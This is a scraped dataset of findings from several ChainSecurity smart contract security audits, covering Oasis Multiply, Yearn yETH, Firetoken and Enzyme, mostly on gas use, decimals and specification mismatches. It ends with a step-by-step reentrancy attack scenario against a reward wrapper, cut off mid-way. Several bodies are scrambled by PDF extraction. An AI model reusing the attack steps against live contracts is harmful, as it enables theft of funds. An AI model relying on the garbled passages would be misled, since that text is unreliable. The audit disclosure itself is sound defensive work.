is prioritized for a future update. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.9 Unchecked Return Values and Non-Compliant ", "body": " IGem Interface The IGem Interface is used when handling collateral inside the MultiplyProxyActions contract. The return values of these calls is, however, never checked. While most ERC-20 tokens revert on a failed transfer, according to the ERC-20 specification it is sufficient to return false. A collateral with this behavior may not be supported correctly. function approve(address, uint) virtual public; function transfer(address, uint) virtual public returns (bool); function transferFrom(address, address, uint) virtual public returns (bool); Additionally, note that the function approve defined in IGem has no return value. According to the ERC-20 specification ( https://eips.ethereum.org/EIPS/eip-20 ) this function must have a boolean return value: function approve(address _spender, uint256 _value) public returns (bool success) Oazo Apps Limited - Multiply - 15 DesignLowVersion1AcknowledgedDesignLowVersion1RiskAccepted \fRisk accepted: Oazo Apps Limited replied: Such implementation is compliant with the current Maker Protocol - it was consulted and confirmed with the Maker DAO\u2019s Protocol Engineering Core Unit. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.10 Unnecessary Call of getAaveLendingPool", "body": " After receiving the requested flash loan from Aave, its lending pool contract calls function executeOperation. As the lending pool is the message sender of this call, it would be unnecessarily expensive to retrieve the lending pool address from Aave's lending pool provider. However, in executeOperation of contract MultiplyProxyActions the lending pool is retrieved as follows: ILendingPoolV2 lendingPool = getAaveLendingPool(addressRegistry.aaveLendingPoolProvider); getAaveLendingPool retrieves the Aave lending pool address from the lending pool provider. Thus, gas could be saved. Acknowledged: Oazo Apps Limited replied: Optimisation will be done in a future version of the contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.11 Variables Could Be Immutable and Constant", "body": " In Exchange.sol the token swap logic is defined. The state variable feeBase is initialized upon declaration and the state variable fee is initialized in the constructor. Both cannot be modified. Hence, they could be declared as constant and immutable respectively. Code partially corrected: feeBase was made constant. fee now has a setter and can no longer be immutable. However, with the updates Oazo Apps Limited decided to stick with the feeBeneficiaryAddress in Exchange.sol. However, this variable cannot be modified and, hence, it could be made immutable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.12 _getWipeDart() Returns art When Closing", "body": " _getWipeDart() is used in MultiplyProxyActions.wipeAndFreeGem() to determine the amount for dart to be passed to frob(). For closing operations, the intention is to wipe the whole art of the urn and, thus, calling _getWipeDart() creates an overhead in computation as it will return the whole art of the urn. The actual value would be available even before calling wipeAndFreeGem(). Oazo Apps Limited - Multiply - 16 DesignLowVersion1AcknowledgedDesignLowVersion1CodePartiallyCorrectedDesignLowVersion1Acknowledged \fWhen closing a vault, immediately before the call to wipeAndFreeGem() the ink of the urn is querried from the vat: (uint256 ink, ) = IVat(vat).urns(cdpData.ilk, urn); Note that the second return value, the art of the urn is dropped. Hence the value would be available without any meaningful extra gas overhead. Therefore, the cases of wiping some and wiping all art when freeing gem could be distinguished, as it is similarly done in the DSS Proxy Actions contract, to reduce the gas cost of multiply closing actions. Acknowledged: Client responded that they want to remain consistent with the original Proxy Actions in the Maker Protocol and refers to the DssProxyActions contract. vault) one would already In the function of DssProxyActions refered to, wipeAllAndFreeETH is public and works with the arguments passed. In MultiplyProxyActions, wipeAndFreeGem is an internal function. Depending on the call path one already knows whether it's a full or partial wipe. Notably in the case of a full wipe (closure of the to (uint256 ink, ) = IVat(vat).urns(cdpData.ilk, urn); (where the returned value for art is currently ignored). Note that the original Proxy Actions contract implements two different functions wipeAllAndFreeGem() Actions, wipeAllAndFreeGem() queries vat.urns() for dart while in MultiplyProxyActions this call is already made in the function calling wipeAndFreeGem() so the identical functions cannot but the concept could be reused. wipeAndFreeGem(). for dart due the amount original Proxy know and call the the In to ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.13 transfer Is Used for ETH Transfers", "body": " Solidity offers different options to perform ETH transfers. When performing a decrease action withdrawing collateral, MultiplyProxyActions receives ETH in return for the WETH withdrawn from the vault in function _withdrawGem(). In the same function, the solidity transfer feature for sending ETH from the MultiplyProxyActions contract to the user. As transfer sends a fixed gas cost along with the funds, it is assumed that EVM gas costs remain constant in the future. Note that gas costs have change in the past, which has led to issues with the use of transfer. Hence, possible integration consequences need to be considered. Risk accepted: Oazo Apps Limited replied: Malfunction requires Ethereum hard fork. We will update the contract if that occurs. Oazo Apps Limited - Multiply - 17 DesignLowVersion1RiskAccepted \f7 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 0 7 10 -Severity Findings -Severity Findings -Severity Findings withdrawCollateral Is Added to borrowCollateral Disabled Optimizer Impossible Decrease Operations Incorrect Decimals When Handling Collateral Unclear Parameter Specification Undocumented Public Functions feeRecepient of AddressRegistry -Severity Findings Cannot Update Fees Specification Mismatches Unused Constant skipFL Case in Flashloan Callback Code Duplication No Check on Amount Received From Flash Loan Possible Casting Overflow Unnecessary transferFrom Use Available Constant and Avoid Call increaseMultipleDepositDai Is Payable ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.1 withdrawCollateral Is Added to", "body": " borrowCollateral In the updated specification received after the intermediate report, borrowCollateral is specified as follows: If a Multiply decrease action: the amount of collateral that is needed to decrease multiple (it includes the ``withdrawCollateral`` amount if any is specified). Oazo Apps Limited - Multiply - 18 CriticalHighMediumSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessMediumVersion2Speci\ufb01cationChanged \fThat implies that borrowCollateral already includes withdrawCollateral. However, in function _decreaseMP the amount of collateral to draw from the vault passed to wipeAndFreeGem() is computed as follows: cdpData.borrowCollateral.add(cdpData.withdrawCollateral) Thus, withdrawCollateral is accounted twice and wipeAndFreeGem() will exit more collateral than intended. Specification changed: The documentation has been updated and no longer states that borrowCollateral includes withdrawCollateral. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.2 Disabled Optimizer", "body": " The solidity optimizer has been disabled in the hardhat configuration: solidity: \"0.7.6\", settings: { optimizer: { enabled: false, runs: 1000 } }, The optimizer reduces both code size (thereby deployment costs), and execution costs. The optimizer was enabled. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.3 Impossible Decrease Operations", "body": " wipeAndFreeGem() is used in each decrease operation to withdraw collateral from the vault to the MultiplyProxyActions contract. However, the function reverts if the collateral has less than 18 decimals. function wipeAndFreeGem( address manager, address gemJoin, uint256 cdp, uint256 borrowedDai, uint256 collateralDraw ) public { ... uint256 wadC = convertTo18(gemJoin, collateralDraw); IManager(manager).frob(cdp, -int256(wadC), _getWipeDart(vat, IVat(vat).dai(urn), urn, ilk)); IManager(manager).flux(cdp, address(this), wadC); IJoin(gemJoin).exit(address(this), wadC); } Oazo Apps Limited - Multiply - 19 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fFollowing scenario could occur if the collateral is GUSD which has only two decimals. 1. Parameter collateralDraw is converted to 18 decimals representations which is stored in local variable wadC. Meaning that wadC == collateralDraw * (10**16). 2. frob and flux are called with wadC as part of the argument. 3. GemJoin.exit() is also called with wadC as an argument. 4. In GemJoin contract's exit(), the GemJoin contract will try to call the GUSD contract to transfer wadC tokens. 5. The transaction reverts since wadC is much higher than the balance in GUSD of GemJoin at that moment. Since exiting creates a transfer in the GUSD contract, it must use the amount of decimals the token has. collateralDraw instead of wadC is now passed to the call to gemJoin.exit() which is in the correct unit. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.4 Incorrect Decimals When Handling Collateral", "body": " The functions _closeWithdrawCollateralSkipFL and _closeWithdrawCollateral receive multiple inputs including the ink of the relevant urn. The ink value has previously been queried from the vat. The ink value is then used as follows: require( IERC20(exchangeData.fromTokenAddress).approve(address(exchange), ink), \"MPA / Could not approve Exchange for Token\" ); The ink value, however, has been adjusted to 18 decimals and hence will be incorrect here for all tokens that do not have 18 decimals. Note that for the functions _closeWithdrawCollateral and _closeWithdrawDai the ink value is also incorrectly passed to wipeAndFeeGem. The updated implementation now passes cdpData.borrowCollateral instead of ink when calling _closeWithdrawCollateralSkipFL and _closeWithdrawCollateral. Inside the called function this parameter is called ink. Althrough this solution technically works, it is not ideal: Note that both functions already cdpData.borrowCollateral separately is redundant. take the struct cdpData as parameter, so passing The call to token.approve() remains unchanged. The exchange is approved to transfer the amount ink (which now is cdpData.borrowCollateral) however the amount the exchange will transfer is exchange.fromTokenAmount. Risk accepted: Refactoring / improvements are planned after the MVP. Oazo Apps Limited - Multiply - 20 CorrectnessMediumVersion1CodeCorrected \ffor collaterals with non 18 decimals has been uncovered An additional problem in _closeWithdrawCollateralSkipFL() after the draft report: wipeAndFreeGem() expects the collateral amount in the unit of the collateral token and converts it to the 18 decimal representation. However in _closeWithdrawCollateralSkipFL this conversion is already done before the second call to wipeAndFreeGem(), hence the conversion will happen twice and result in an incorrect value for collaterals with less than 18 decimals. This has been correct by removing the conversion before the call to wipeAndFreeGem(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.5 Unclear Parameter Specification", "body": " There are several input parameters to each call. These are passed in three different structs: ExchangeData, CdpData, AddressRegistry. Some definitions of the parameters of the strucs are unclear and may lead to mistakes. borrowCollateral is specified to be the collateral to buy with the flashloan in increase operations. However, it is used differently. More precisely, it is used in function _decreaseMP to specify how much collateral to be withdrawn from the vault. The frontend may create mistakes. If the intention of borrowCollateral is to be used as the amount that will be, together with depositCollateral, deposited to the vault, then with positive slippage, joinDrawDebt would deposit too much collateral into the vault. depositCollateral is specified to be the amount of collateral the user deposits in increase actions that deposit collateral. For ETH that is not the case since msg.value is used and no check if it equals depositCollateral is done. The call will work but the result may differ from the expected behaviour. fromTokenAmount is specified to be the amount of tokens to be exchanged. depositDai is the amount of DAI that should be exchanged jointly with the flashloaned DAI in increase operations. In _increaseMP in the call to swap the tokens to collateral, the to be swapped amount is specified as the sum of fromTokenAmount and depositDAI. However, according to specification, fromTokenAmount should already be accounting for the deposit. Depending on what the intended use of the parameters is, specifying invariants could be helpful to clarify for example whether the fromTokenAmount in increase operations is the sum of the flashloaned and deposited DAI. Clarifying these and similar ambiguities may help users to understand the parameters of their transactions better. Specification changed: The parameters are now more precisely defined. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.6 Undocumented Public Functions", "body": " Function wipeAndFreeGem of the MultiplyProxyActions contract is public. The function is only used internally and there is no valid use case to call it directly. Direct calls to this function will likely fail due to preconditions not being met. Furthermore the documentation does not list it as one of the public functions. Similarly _collectFee() of the Exchange contract is public despite being used only internally. Here as well the documentation does not list _collectFee() as public function. Oazo Apps Limited - Multiply - 21 DesignMediumVersion1Speci\ufb01cationChangedDesignMediumVersion1CodeCorrected \f The functions are now internal. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.7 feeRecepient of AddressRegistry", "body": " In the last paragraph of section Architectural decisions of the specification document it's mentioned that the feeRecipient is part of the off-chain registry (the struct AddressRegistry passed as function parameter): A caveat that has been raised is that using an off-chain registry managed by the frontend opens for other frontends using our smart contract while passing their own fee wallet address in the params. This struct features a field feeRecepient: struct AddressRegistry { address jug; address manager; address multiplyProxyActions; address aaveLendingPoolProvider; address feeRecepient; address exchange; } However in the smart contracts reviewed, this field is never read. The exchange contract uses a feeBeneficiary variable set in the constructor. feeRecepient was removed from the struct. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.8 Cannot Update Fees", "body": " In version two, setFee() was introduced to enable updating the fee variable for fees going to Oazo. The caller must be authorized. However, the only authorized caller is the MultiplyProxyActions contract which does not call setFee() and, hence, the fees cannot be update. The feeBeneficiary is now also whitelisted and can set fees. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.9 Specification Mismatches", "body": " Oazo Apps Limited - Multiply - 22 CorrectnessMediumVersion1CodeCorrectedDesignLowVersion2CodeCorrectedDesignLowVersion2Speci\ufb01cationChanged \fIn version two, new parameters to the CdpData struct were introduced. However, the methodName element in the struct is unspecified in the documentation while it is used in the code. Specification changed: methodName was added to the documentation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.10 Unused Constant", "body": " In MultiplyProxyActions, a constant ETH_ADDR is defined. However, it is not used in the code. The constant was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.11 skipFL Case in Flashloan Callback", "body": " Function executeOperation is the callback for the Aave flashloan. It is not intended to be used if flashloans are not utilized. The following code snipped can be found at the end of the function: if (cdpData.skipFL == false) { IERC20(assets[0]).approve( address(getAaveLendingPool(addressRegistry.aaveLendingPoolProvider)), borrowedDaiAmount ); } The code was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.12 Code Duplication", "body": " When crafting the MultiplyProxyActions contract have the same code. This code duplication could be removed by moving the respective code into an internal function. flashloan contract, multiple to and calling functions of the call the The common parts have been extracted into a function takeAFlashLoan. Oazo Apps Limited - Multiply - 23 DesignLowVersion2CodeCorrectedDesignLowVersion2CodeCorrectedDesignLowVersion1CodeCorrected \f7.13 No Check on Amount Received From Flash Loan The documentation specifies following check on the amount received from the flash loan: We check in our smart contract whether the delivered amount matches our expected amounts. If not enough funds are delivered we revert the transaction with the message: \u201cFL malfunction\u201d. However, this check is not made. Moreover, that could allow a malicious Aave to send less funds than requested. Performing an increase operation with personal DAI besides the flashloan may lead to Aave being paid more if the front-end does not set parameters such that this transaction would revert. In any case, there is a mismatch between documentation and implementation. A require statement has been added to check whether sufficient funds have been received: require( cdpData.requiredDebt == IERC20(DAI).balanceOf(address(this)), \"requested and received amounts mismatch\" ); However note that this require statement now breaks increaseMultipleDepositDai() for the case when a flashloan is used: The DAI amount to deposit has already been transferred onwards to MultiplyActionsProxy, this amount will be included in the in the DAI balance and hence the balance will not equal the flashlaon amount. The transaction will revert. The check has been changed to: require( cdpData.requiredDebt.add(cdpData.depositDai) <= IERC20(DAI).balanceOf(address(this)), \"requested and received amounts mismatch\" ); For the final version of the code the strict requirement for equality has been weakened to allow for surplus DAI balance at the contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.14 Possible Casting Overflow", "body": " In function wipeAndFreeGem it is necessary to cast the amount of collateral to be withdrawn from uint256 to int256 so it can be passed as an argument when calling frob() on the manager. The cast can overflow since it is using a regular cast and, hence, frob() could be called with wrong parameters. Instead, toInt256() could be used since it reverts if overflows occur. toInt256() is now always used for casting from uint256 to int256. Oazo Apps Limited - Multiply - 24 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7.15 Unnecessary transferFrom In function wipeAndFreeGem the MultiProxyActions contracts transfers DAI from itself to itself. IDaiJoin(DAIJOIN).dai().transferFrom(address(this), address(this), borrowedDai); As this call does not modify any DAI balance, it could be removed to save gas. The call was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.16 Use Available Constant and Avoid Call", "body": " In MultiplyProxyActions.wipeAndFreeGem() DAI is handled as follows: IDaiJoin(DAIJOIN).dai().transferFrom(address(this), address(this), borrowedDai); IDaiJoin(DAIJOIN).dai().approve(DAIJOIN, borrowedDai); Instead of using the DAIJOIN address and calling it repeatedly to query the DAI address, the constant DAI representing the address of the DAI contract could be used directly. The constant DAI is now used directly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.17 increaseMultipleDepositDai Is Payable", "body": " The system allows users to deposit additional DAI that will be, along with the flash-loaned DAI, swapped to the underlying collateral to enable increasing the leverage position. This functionality is implemented in the payable function increaseMultipleDepositDai. However, this method does not require having any additional ETH collateral and, thus, ETH could be mistakenly transferred to the contract executing the delegatecall to MuliplyProxyActions. In the updated code increaseMultipleDepositDai is no longer payable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "7.18 transferFrom Used Instead of transfer", "body": " In function _collectFee of Exchange.sol, IERC20(asset).transferFrom(address(this), fe eBeneficiaryAddress, feeToTransfer) simplified could be to Oazo Apps Limited - Multiply - 25 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedNoteVersion1CodeCorrected \fIERC20(asset).transfer(feeBeneficiaryAddress, feeToTransfer). transfer() could be safer to use if, at any point in the future, Oazo decides to accept other tokens than DAI for fees, even though this is currently not the case nor is it planned for the future. For example, that call would revert if asset was USDT which reverts if the contract has not approved itself in such a scenario. The code was changed to use safeTransfer(). Oazo Apps Limited - Multiply - 26 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. Hence, the mentioned topics serve to clarify or support the report, but do not require a modification inside the project. Instead, they should raise awareness in order to improve the overall understanding for users and developers. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "8.1 Deprecated safeApprove", "body": " In function swap of the Exchange, safeApprove() is called. However, a deprecated implementation of safeApprove() is used. Be aware that using the most recent implementation, safeApprove() may revert if the approval has not been set to zero. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "8.2 Documentation Treats Should as Must", "body": " The documentation uses should when describing what values the parameters passed from the frontend to the backend will have. RFC 2119 defines should as follows: SHOULD This word, or the adjective \"RECOMMENDED\", mean that there may exist valid reasons in particular circumstances to ignore a particular item, but the full implications must be understood and carefully weighed before choosing a different course. For example, following exchange parameter is defined as follows in the documentation: allowPartialFill - Value should be set to false in order to ensure that the whole amount is swapped, otherwise the tx will fail. That allows allowPartialFill to be true in certain scenarios. However, it could be dangerous to set this value to true since in _closeWithdrawDai() the contract swaps collateral for DAI and does not check whether there is some unswapped collateral returned from the exchange. Hence, users could lose funds. Clarifying how parameters are set clearly may help avoid mistakes. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "8.3 Gas Costs Vs Flashloan Fee", "body": " MultiplyProxyActions uses a flashloan to leverage the exposure of the collateral in one action. There is an implicit assumption that the fee for the flashloan is less than what the gas costs would be to reach the same multiply ratio by using the borrowed dai to buy collateral and to borrow additional dai repeatedly. For very large amounts the flashloan fee may exceed the gas cost and using the MultiplyProxyActions may be more expensive than doing the actual steps repeatedly. Oazo Apps Limited replied: From our experience in implementing a Multiply solution using repeated actions on Vaults we do not believe this approach to be feasible from a practical point of view. Further, going forward we expect to integrate to several flash loan providers and we expect the flash loan fee to go towards zero. Oazo Apps Limited - Multiply - 27 NoteVersion1NoteVersion1NoteVersion1 \f8.4 No Checks on Outcome The MultiplyProxyAction smart contract does not check the actual outcome of an action on a vault. However, the execution highly depends on the front-end and the APIs it interacts with and has much interaction with external contracts. In such systems, there is typically an optional feature enabling users to enforce certain postconditions such as a minimum collateralization ratio or other similar properties in order to safeguard their actions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "8.5 Opposite Effect of What the Function Name", "body": " Suggests Possible Note that while in general increaseMultiple... increases and decreaseMultiple... decreases the leverage of a vault, due to the added possibility of adding or withdrawing within the same action the final collateralization ratio / leverage may be changed in the opposite direction to what the function name increase/decrease suggested. The documentation does not describe this behavior in detail. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "8.6 Whitelisted Contracts for Exchange Not Public", "body": " In Exchange.sol, there is an internal mapping WHITELISTED_CALLERS specifying which contracts can use the Exchange contract. Since currently only the MultiplyProxyActions will be set in the constructor, it is relatively simple to decide whether a contract is whitelisted or not. However, in the future more contracts may be whitelisted. Thus, making this mapping public could be useful. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "8.7 CDPManager Must Have Created Vault", "body": " The MultiplyProxyActions contract is only compatible with vaults that have been opened through the CDPManager. Vaults that have been opened directly are not supported as the CDPManager is unable to acquire permission to modify the vault. The documentation is vague on this topic and may be clarified. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "8.8 closeVaultExitCollateral Surplus DAI", "body": " Transferred to fundReceiver Function closeVaultExitCollateral of the MultiplyProxyActions contracts can be used to close a vault and exit all funds in collateral to the fundReceiver address. A part of the collateral is necessary to repay the flashloan and hence is exchanged into DAI. Note that should there be surplus Oazo Apps Limited - Multiply - 28 NoteVersion1NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \fDAI tokens after the exchange, these are transferred to the fundReceiver address in addition to the collateral. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "8.9 msg.value Unchecked for ERC-20 Deposits", "body": " In function increaseMultipleDepositCollateral, collateral is deposited. msg.value should be non-zero if the collateral to lock in the vault will be WETH. However, it could also be non-zero if the collateral is a ERC-20 token. The ETH sent along with the ERC-20 will be unused will remain in the contract after the transaction has finished. Oazo Apps Limited - Multiply - 29 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.1 Unused Import", "body": " In the Lido rate provider, ERC4626 is imported and never used. CS-YRNPR-001 Yearn - yETH Periphery - 10 InformationalVersion1 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-periphery/"}, {"title": "7.1 Implementation Might Change for Proxies", "body": " Multiple rate providers are proxy contracts. Their implementation might change. In consequence, incorrect rate updates or reverts might happen. Constant monitoring and updates as well as contact with the development teams of the corresponding projects might be useful for mitigation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-periphery/"}, {"title": "7.2 Providers Might Revert Instead of Returning", "body": " Values When the total amount of staked tokens is null, providers behaviours can vary, some of them will return a rate of 1 to 1 with ETH while other will revert. Such a corner case should be carefully evaluated. Yearn - yETH Periphery - 11 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-periphery/"}, {"title": "6.1 Gas Optimizations", "body": " The state variables _name, _symbol and _decimals could be declared as constants. As a result, the compiler does not reserve a storage slot for these variables, and every occurrence is replaced by the respective value. Compared to regular state variables, the gas costs of constant and immutable variables are much lower. For a constant variable, the expression assigned to it is copied to all the places where it is accessed and also re-evaluated each time. This allows for local optimizations. Immutable variables are evaluated once at construction time and their value is copied to all the places in the code where they are accessed. For these values, 32 bytes are reserved, even if they would fit in fewer bytes. Due to this, constant values can sometimes be cheaper than immutable values. (see Solidity docs) CS-FRTK-001 recipient. Because _transfer() does not need to use safeMath when modifying the _balances of the sender and the in detectTransferRestriction() to ensure sufficient funds for the transfer. And the recipient's balance is always less or equal to totalSupply, in case totalSupply does not overflow during minting, the recipient's balance will never overflow. sender's checked balance already been has the _mint() does not need to use safeMath when updating _balances[account]. The balance of any account is always less or equal to totalSupply.In case the previous update to _totalSupply does not overflow, _balances[account] will not overflow as well. This applies to the updates of _totalSupply in _burn() as well. The check of onlyOwner is redundant for internal function _mint(), because _mint() is only called by the external function mintTo(), which is already marked with modifier onlyOwner. This applies to the internal function _burn() as well. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/firetoken-smart-contracts/"}, {"title": "6.2 Indexed Fields of Events", "body": " The events Burn, Mint, Block and Unblock do not mark the field code as indexed. Indexing fields in events allows to easily search for certain events. code is not a random number but is a limited set and could be indexed. CS-FRTK-002 Fire Group Ltd. states: The field code is more an add-on-info for the reason of events. At the time of writing the contract, searching based on codes seemed not to be a requirement. Thus, it was decided to not index the code part of the event. Fire Group Ltd. - Firetoken - 10 InformationalVersion1InformationalVersion1 \f6.3 Missing Events of KYC Roles Updates The contract owner's call to addUserListToKycRole() and removeUserFromKycRole() will update the KYC roles, nevertheless, no events will be emitted to reflect the storage modification. CS-FRTK-003 Fire Group Ltd. states: KYC data is stored off-chain while executing the KYC processes. Thus, it was decided to not emit events for adding and removing KYC roles as this information is available off-chain. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/firetoken-smart-contracts/"}, {"title": "6.4 Redundant Transfer Restriction", "body": " Without specifications it is unclear if address(0) is an address that has transfer restrictions in the _kyc set or not. In case it does have transfer restrictions and is not part of the set, the requires in _transfer are redundant. CS-FRTK-004 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/firetoken-smart-contracts/"}, {"title": "6.5 Unused Variable _propertyAmountLocks", "body": " The contract defines a state variable called _propertyAmountLocks but it is not used. CS-FRTK-005 Fire Group Ltd. - Firetoken - 11 InformationalVersion1InformationalVersion1InformationalVersion1 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/firetoken-smart-contracts/"}, {"title": "7.1 No Way to Recover ETH or Token Sent to the", "body": " Contract The contract has no functionality to recover ETH or token sent to the contract. All funds sent to the contract will be locked forever. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/firetoken-smart-contracts/"}, {"title": "7.2 Reserve Code <100 for Contract Internal Use", "body": " When the owner inserts a new code into the mapping, the code is required to be larger than 100. Whereas only less than 6 are used in the constructor, the rest are unused. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/firetoken-smart-contracts/"}, {"title": "7.3 Unusual Decimals", "body": " The token has only 5 decimals. Most contracts have 18 decimals which is the standard base in the Ethereum network. Many issues can arise when a token with other than 18 decimals shall be included in third party protocols. Hence, Fire Group Ltd. should carefully evaluate if it is necessary to use 5 decimals and state this very clearly everywhere (in-line documentation, online documentation, website and if other protocols are using the token) to mitigate future issues. Fire Group Ltd. - Firetoken - 12 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/firetoken-smart-contracts/"}, {"title": "5.1 Gas Inefficiencies", "body": " 0 0 0 1 addExtraRewards iterates over all extra reward tokens to check whether the rewardTokens array contains them. However, the rewardTokens array is loaded from storage on every iteration. The gas consumption could be reduced by caching the array into memory or using a set like data structure for checking whether a token is already present. Acknowledged: Avantgarde Finance replied: We attempted implementing the suggested optimization, but rather than leading to savings, it led to inefficiencies in the most frequent case and a more complex code surface area. The case where Convex extra pool tokens are >1 is extremely rare (the vast majority of Curve pools have 0 or 1 extra rewards tokens), and the extra logic involved with copying `rewardTokens` into memory, validating that it is a unique set, etc makes the refactor more expensive rather than less in the vast majority of cases. For those rare cases, since `rewardTokens` is already accessed in the first loop, all SLOAD operations are already warm lookups, so the gas hit isn\u2019t significant. Avantgarde Finance - Sulu Extensions II - 10 SecurityDesignCriticalHighMediumLowAcknowledgedDesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings -Severity Findings Potential Reentrancy 0 0 0 1 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ii/"}, {"title": "6.1 Potential Reentrancy", "body": " Transfers modify balances of users. Hence, checkpointing is required to be performed before any balances modification to ensure fair distribution of rewards. However, transfer functions are not reentrancy-protected which offers the following attack vector: 1. Assume a Convex pool staking wrapper contract where one user holds 50 out of 100 tokens while no rewards have been earned so far. Also assume that one reward token has an on-receive-hook to the recipient of the token. 2. Now, the attacker contract calls claimRewardsFor() itself. ___checkpointAndClaim is called internally which harvests the Convex pool and then proceeds to checkpointing and claiming with __updateHarvestAndClaim. to send rewards to 3. 100 reward tokens are harvested. The total and the user integral are updated accordingly. The amount to transfer to the attacking contract is 50 reward tokens. However, the claimable amount is set to 0 in storage due to the transfer. Note, that lastCheckpointBalance is not updated. 4. The transfer starts and modifies the balance to 50 and then calls the attacking contracts hook. 1. The attacking contract reenters the wrapper contract in the reentereable transfer() function inherited from ERC20. 2. ___checkpoint is called. Harvesting Convex has no effect but now __updateHarvest is called. 3. The last checkpointed balance (still 0) and the current balance (now 50) are queried. The difference implies more rewards. 4. Now, the integrals are updated and so is the claimable amount is now set to 25 for the attacking contract. The checkpointed balance is now set to 150. 5. The execution 